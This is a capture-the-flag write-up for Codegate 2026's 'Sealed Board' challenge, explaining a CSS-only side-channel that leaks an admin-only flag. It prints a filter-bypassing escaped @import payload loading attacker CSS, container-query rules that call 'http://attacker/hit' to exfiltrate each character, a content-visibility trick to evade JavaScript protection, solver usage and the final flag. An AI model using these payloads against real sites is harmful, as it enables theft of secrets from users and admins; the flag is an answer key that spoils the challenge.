Sealed Board - Codegate CTF 2026

Overview

CSS-only exfiltration challenge. An admin bot visits user-submitted posts rendered on the same page as a secret flag. JavaScript protection actively guards the flag element, requiring a CSS-based side-channel attack to leak the flag character by character.

Challenge Architecture

• webapp (Flask): Users register, create/edit/delete posts (max 320 chars, 1 post per user). Admin sees all posts plus a <div id="flag"> element containing the flag.
• adminbot (Selenium + headless Firefox 140 ESR): Visits a given URL with admin cookie set. Dwells for 4 seconds.

HTML Structure

<main id="page" class="page">
  <article class="hero-card">...</article>
  <section class="feed">...</section>
  <!-- admin only -->
  <div id="flag" data-protected-flag="1">codegate{...}</div>
</main>

JavaScript Flag Protection (app.js lines 420-459)

The flag text is immediately saved and cleared. Every 50ms + MutationObserver:

1. If display === 'none' -> do nothing (text stays cleared)
2. If display === 'contents' -> remove the element
3. If checkVisibility() === true -> remove the element
4. If textContent is empty -> restore the saved text

This means CSS must keep the flag element not visible (checkVisibility() === false) while still having layout computed for container queries.

CSS Injection Filter (app.js lines 41-44)

<style> blocks are extracted from posts and checked by hasRemoteStyleReference():

const hasRemoteStyleReference = (cssText) => {
  const normalized = stripCssComments(cssText);
  return /\b(?:https?|data)\s*:/i.test(normalized) || normalized.includes("//");
};

This blocks http:, https:, data:, and // in CSS text directly.

Exploitation

Step 1: CSS Injection via @import with CSS-escaped URLs

The filter checks for http: etc. as literal strings. CSS allows character escaping with \XXXXXX notation. By posting:

<style>@import "\000068 \000074 \000074 \000070 \00003a //attacker/stage.css";</style>

The CSS engine interprets the escape sequences as http://attacker/stage.css, but the JavaScript regex doesn't match the escaped form.

Step 2: Font Ligature Width Encoding (fontleak technique)

Reference: https://adragos.ro/fontleak/

Build a custom OpenType font where:

• All printable ASCII characters have advance width 0
• A ligature rule matches known_prefix + next_char and substitutes it with a glyph whose advance width encodes the character index

For example, if the known prefix is codegate{ and the next character is b (index 1 in the alphabet), the ligature glyph gets advance width 2px (at font-size 1000px with 1000 units-per-em, 1 unit = 1 pixel).

Chunked Prefix Stripping

A single ligature rule matching 15+ glyphs can exceed browser OpenType engine limits. The solution is a multi-phase approach:

Lookup strip_0: c o d e     -> mid_0        (4 chars)
Lookup strip_1: mid_0 g a t e -> mid_1      (1 + 4 chars)
Lookup strip_2: mid_1 2 0 2 6 -> mid_2      (1 + 4 chars)
...
Lookup detect:  mid_N + next_char -> lig_XX  (always 2 glyphs)

Each lookup has at most 5 glyph components, keeping well within HarfBuzz limits.

Step 3: Container Query Side-Channel

Layout the page as a CSS grid:

#page {
  display: grid !important;
  grid-template-columns: 1fr auto;
  width: 67px !important;  /* alphabet_size + 2 */
}

• .hero-card occupies the 1fr column (measurement container with container-type: inline-size)
• #flag occupies the auto column, sized by the ligature font's advance width

When the flag text is rendered with the probe font, the ligature fires and #flag takes up (idx + 1)px. The hero-card gets the remaining 67 - (idx + 1)px.

Container queries detect the exact pixel width:

@container leak (width: 66px) { /* idx=0, char='a' */
  .hero-card::before { content: url('http://attacker/hit?ch=a'); }
}
@container leak (width: 65px) { /* idx=1, char='b' */
  .hero-card::before { content: url('http://attacker/hit?ch=b'); }
}
/* ... one rule per alphabet character ... */

Step 4: Bypassing JS Protection with content-visibility Animation

The key insight: CSS content-visibility: hidden makes checkVisibility() return false, so the JS protection restores the flag text. But when content-visibility is visible, the layout is computed and container queries fire.

A CSS animation toggles between the two states:

@keyframes cv-toggle {
  0%   { content-visibility: hidden; }
  90%  { content-visibility: hidden; }
  91%  { content-visibility: visible; }
  100% { content-visibility: visible; }
}
#page { animation: cv-toggle 200ms infinite steps(1, end); }

Timeline per 200ms cycle:

• 0-180ms (hidden): JS sees checkVisibility() === false, restores flag text
• 180-200ms (visible): Layout computed, ligature fires, container query matches, exfiltration URL fetched

The JS check interval (50ms) isn't fast enough to catch the brief visible window and remove the element before the browser resolves the container query and initiates the network request.

Step 5: Font Inlining

To eliminate the race condition where the font loads after JS removes the flag, the font is embedded as a base64 data URI directly in the CSS:

@font-face {
  font-family: probe;
  src: url('data:font/truetype;base64,...') format('truetype');
}

This ensures the font is available the instant the CSS is parsed.

Solver Flow

1. Register a user on the webapp
2. For each unknown character: a. Build a probe font with ligatures for current_prefix + each_alphabet_char b. Generate stage CSS with the font (base64-inlined), grid layout, container queries, and content-visibility animation c. Create/update a post with <style>@import "..."</style> pointing to the attacker's CSS server d. Ask the admin bot to visit the post e. Wait for the container query hit callback identifying the next character
3. Repeat until } is found

Usage

python3 solver.py \
  --web-base http://TARGET:5000 \
  --bot-base http://TARGET:5001 \
  --public-base http://YOUR-HOST:8000 \
  --listen-host 0.0.0.0 \
  --listen-port 8000

Flag

codegate2026{bfb4UsBy7OajV4p55QFOjDEEbZaaK1zI}